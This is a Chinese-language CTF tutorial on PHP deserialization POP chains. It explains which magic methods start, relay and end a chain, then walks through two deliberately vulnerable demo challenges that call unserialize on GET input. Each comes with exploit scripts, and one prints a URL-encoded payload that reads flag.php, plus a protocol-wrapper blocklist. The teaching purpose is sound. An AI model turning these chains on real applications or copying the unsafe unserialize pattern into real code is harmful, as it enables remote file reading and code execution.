POP 面向属性编程(Property-Oriented Programing) 常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的
说的再具体一点就是 ROP 是通过栈溢出实现控制指令的执行流程,而我们的反序列化是通过控制对象的属性从而实现控制程序的执行流程,进而达成利用本身无害的代码进行有害操作的目的。
挖掘暗藏ThinkPHP中的反序列利用链 一文中总结很好。
方法名 | 调用条件 |
---|---|
__call | 调用不可访问或不存在的方法时被调用 |
__callStatic | 调用不可访问或不存在的静态方法时被调用 |
__clone | 进行对象clone时被调用,用来调整对象的克隆行为 |
__constuct | 构建对象的时被调用; |
__debuginfo | 当调用var_dump()打印对象时被调用(当你不想打印所有属性)适用于PHP5.6版本 |
__destruct | 明确销毁对象或脚本结束时被调用; |
__get | 读取不可访问或不存在属性时被调用 |
__invoke | 当以函数方式调用对象时被调用 |
__isset | 对不可访问或不存在的属性调用isset()或empty()时被调用 |
__set | 当给不可访问或不存在属性赋值时被调用 |
__set_state | 当调用var_export()导出类时,此静态方法被调用。用__set_state的返回值做为var_export的返回值。 |
__sleep | 当使用serialize时被调用,当你不需要保存大对象的所有数据时很有用 |
__toString | 当一个类被转换成字符串时被调用 |
__unset | 对不可访问或不存在的属性进行unset时被调用 |
__wakeup | 当使用unserialize时被调用,可用于做些对象的初始化操作 |
反序列化的常见起点
__wakeup
一定会调用__destruct
一定会调用__toString
当一个对象被反序列化后又被当做字符串使用反序列化的常见中间跳板:
__toString
当一个对象被当做字符串使用__get
读取不可访问或不存在属性时被调用__set
当给不可访问或不存在属性赋值时被调用__isset
对不可访问或不存在的属性调用isset()或empty()时被调用。形如 $this->$func();
反序列化的常见终点:
__call
调用不可访问或不存在的方法时被调用call_user_func
一般php代码执行都会选择这里call_user_func_array
一般php代码执行都会选择这里主要还是三点:
个人感觉核心是实例化对象可附值给变量,从而调用 + 各类魔术方法
下面两个都是比较简单的demo,本人太菜只能先举简单的例子
<?php
//flag is in flag.php
error_reporting(0);
class Read {
public $var;
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
public function __invoke(){
$content = $this->file_get($this->var);
echo $content;
}
}
class Show
{
public $source;
public $str;
public function __construct($file='index.php')
{
$this->source = $file;
echo $this->source.'Welcome'."<br>";
}
public function __toString()
{
return $this->str['str']->source;
}
public function _show()
{
if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
die('hacker');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test
{
public $p;
public function __construct()
{
$this->p = array();
}
public function __get($key)
{
$function = $this->p;
return $function();
}
}
if(isset($_GET['hello']))
{
unserialize($_GET['hello']);
}
else
{
$show = new Show('pop3.php');
$show->_show();
}
接下来我们来分析构造pop链的过程
POP链:unserialize函数(变量可控)–>__wakeup()魔术方法–>__tostring()魔术方法–>__get魔术方法–>__invoke魔术方法–>触发Read类中的file_get方法–>触发file_get_contents函数读取flag.php
exp:
<?php
class Read {
public $var = "flag.php";
}
class Show {
public $source;
public $str;
}
class Test {
public $p;
}
$r = new Read();
$s = new Show();
$t = new Test();
$t->p = $r; //赋值Test类的对象($t)下的属性p为Read类的对象($r),触发__invoke魔术方法
$s->str['str'] = $t;//赋值Show类的对象($s)下的str数组的str键的值为 Test类的对象$t ,触发__get魔术方法。
$s->source = $s;//令 Show类的对象($s)下的source属性值为此时上一步已经赋值过的$s对象,从而把对象当作字符串调用触发。__tostring魔术方法
echo urlencode((serialize($s)));
这里使用urlencode是为了编码 private 和protect属性,防止他们序列化出来有 %00 造成截断
最后得出来的payload:
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Br%3A1%3Bs%3A3%3A%22str%22%3Ba%3A1%3A%7Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A4%3A%22Read%22%3A1%3A%7Bs%3A3%3A%22var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7D%7D
<?php
class start_gg
{
public $mod1;
public $mod2;
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public $str2;
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo "flag:"."xxxxxxxxxxxx";
}
}
$a = $_GET['string'];
unserialize($a);
?>
exp
<?php
class start_gg
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1 = new Call();
}
public function __destruct()
{
$this->mod1->test1(); # 入口点,mod1可通过附值起跳。
}
}
class Call
{
public $mod1; # 实例化funct
public $mod2; # 无它什么事
# 继续起跳,瞻前顾后,思考下面的 $this->mod1->test2();会在何处被什么利用
public function __construct()
{
$this->mod1 = new funct();
}
public function test1()
{
$this->mod1->test2(); # 这里调 __call
}
}
class funct
{
public $mod1; # 实例化func
public $mod2; # 无它什么事
public function __construct()
{
$this->mod1 = new func();
}
public function __call($test2, $arr)
{
$s1 = $this->mod1;
$s1(); # 这里触发 __invoke
}
}
class func
{
public $mod1; # 实例化string1
public $mod2; # __invoke对其附值,其实是为了调 __toString
public function __construct()
{
$this->mod1 = new string1();
}
public function __invoke()
{
$this->mod2 = "字符串拼接" . $this->mod1; # 这里若拼接则会触发 __toString
}
}
class string1
{
public $str1; # 实例化 GetFlag
public $str2;
public function __construct()
{
$this->str1 = new GetFlag();
}
public function __toString()
{
$this->str1->get_flag(); #调用此处即可getflag,难点:需调用 __toString
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo "flag:" . "xxxxxxxxxxxx";
}
}
$payload = new start_gg();
echo urlencode(serialize($payload));
?>